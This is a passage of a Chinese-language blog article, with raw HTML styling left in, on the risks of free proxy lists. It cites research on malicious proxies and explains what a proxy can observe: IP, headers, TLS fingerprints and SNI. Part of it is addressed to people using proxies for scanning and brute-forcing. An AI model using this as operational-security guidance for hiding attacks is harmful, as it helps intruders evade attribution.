border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">于是有人动了别的心思。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">打开 Google 搜 &#34;free proxy list&#34;，free-proxy-list.net、spys.one、hidemy.name 这些站点常年维护着成千上万条免费代理。SOCKS4、SOCKS5、HTTP、HTTPS，各种协议应有尽有。抓下来过滤一遍存活的，挂上去就能用。成本？零。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但问题来了——这些代理是谁架的？为什么免费？</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个问题很多人不会去想。或者想了一下，觉得无所谓——反正是拿来扫描、爆破、薅接口的，代理又不会看到 HTTPS 里的加密内容，能用就行。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个判断对了一半，也错了一半。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">640,600 个代理告诉你的事</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2024 年 NDSS（网络与分布式系统安全会议）发表了一篇论文叫 &#34;Free Proxies Unmasked&#34;，研究团队花了 30 个月，从 11 个主流免费代理列表站抓了 640,600 多个代理做纵向分析。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">几个关键数据：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">只有 34.5% 的代理是活的。</span></strong><span leaf=""> 超过三分之二要么已经下线，要么根本连不上。免费代理列表的质量远比想象中差。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">10% 的代理存在明确的恶意行为。</span></strong><span leaf=""> 包括往 HTTP 响应里注入 JavaScript、替换页面广告链接、对 HTTPS 连接做 TLS 中间人拦截。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">5.15% 的内容篡改带有明确恶意意图。</span></strong><span leaf=""> 不是简单加个广告，而是注入追踪脚本、窃取表单提交、替换下载链接指向恶意文件。</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">DataDome 的威胁研究团队给出了一个更夸张的数字：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">95% 以上通过免费代理的流量本身就是恶意的</span></strong><span leaf="">——换句话说，用免费代理的人和运营免费代理的人，几乎都不是什么正经角色。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">GreyNoise 的研究则发现，20.2% 的免费代理 IP 在主动扫描 Log4j 漏洞。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">免费代理的生态，大致可以分三类运营者：</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">第一类，安全研究者和蜜罐运营者。</span></strong><span leaf=""> 架一个看起来正常的代理，等人来用，记录一切。你以为你在用代理隐藏自己，实际上你在对着摄像头表演。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">第二类，黑产运营者。</span></strong><span leaf=""> 目的是注入广告赚钱，或者直接偷你经过代理的凭据和数据。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">第三类，配置事故。</span></strong><span leaf=""> 某台服务器的 Squid 或 Nginx 没关好，意外变成了开放代理，被人扫到后添加到了免费列表里。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不管哪一类，流经代理的数据都不在你的控制之下。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid black;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 22px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">你以为代理看不到什么？</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">很多人有一个根深蒂固的误解：HTTPS 流量是加密的，代理只是做转发，看不到内容。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">技术上没错。CONNECT 隧道建立之后，TLS 握手直接发生在客户端和目标服务器之间，代理只看到加密的字节流。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但这只是故事的一半。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">让我们一层一层拆开，看看代理到底能看到什么。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第一层：你是谁</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最基本的——你的源 IP 和端口。是的，你用了代理来隐藏 IP，但你对代理本身暴露了真实地址。如果你的代理链配置有问题（这种情况极其常见），</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">X-Forwarded-For</span></code><span leaf=""> 头会把你的真实 IP 一路带到目标服务器，同时也留给了中间每一跳代理。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">连接的时间分布也是信息。一个攻击者如果每天固定在某个时段活跃，结合时区分析，能缩小到国家甚至城市级别。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第二层：你用什么工具</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">User-Agent</span></code><span leaf=""> 是最直白的指纹。</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">python-requests/2.28.0</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">Go-http-client/1.1</span></code><span leaf="">、</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">curl/7.68.0</span></code><span leaf=""> ——大部分自动化工具懒得改 UA，或者改了一个一眼假的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但更有意思的是 TLS 指纹。即使是 HTTPS 连接，客户端发送的 TLS ClientHello 消息是</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">明文的</span></strong><span leaf="">——它在加密通道建立之前发出。这条消息包含客户端支持的 TLS 版本、密码套件列表、扩展列表、ALPN 协议。把这些组合起来就是 JA3/JA4 指纹，能精确到区分不同版本的 Python requests、不同编译参数的 Go 二进制、甚至特定版本的恶意软件。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">代理不需要解密任何东西，只要在 CONNECT 握手后 peek 一下 ClientHello 的前 1500 字节，这些信息就全到手了。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;padding: 0px;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">第三层：你在打谁</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTTP 代理请求暴露完整的 URL——域名、路径、查询参数，一览无余。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">HTTPS 呢？虽然看不到路径和参数，但 TLS ClientHello 里有一个叫 </span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">SNI（Server Name Indication）</span></strong><span leaf=""> 的字段，明文携带目标域名。客户端发给 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">api.target.com:443</span></code><span leaf=""> 的 CONNECT 请求，配合 SNI 解析，代理能精确知道攻击者在连哪个域名。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">打个比方：HTTPS 像密封的信件，代理看不到信的内容，但信封上收件人的名字写得清清楚楚。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 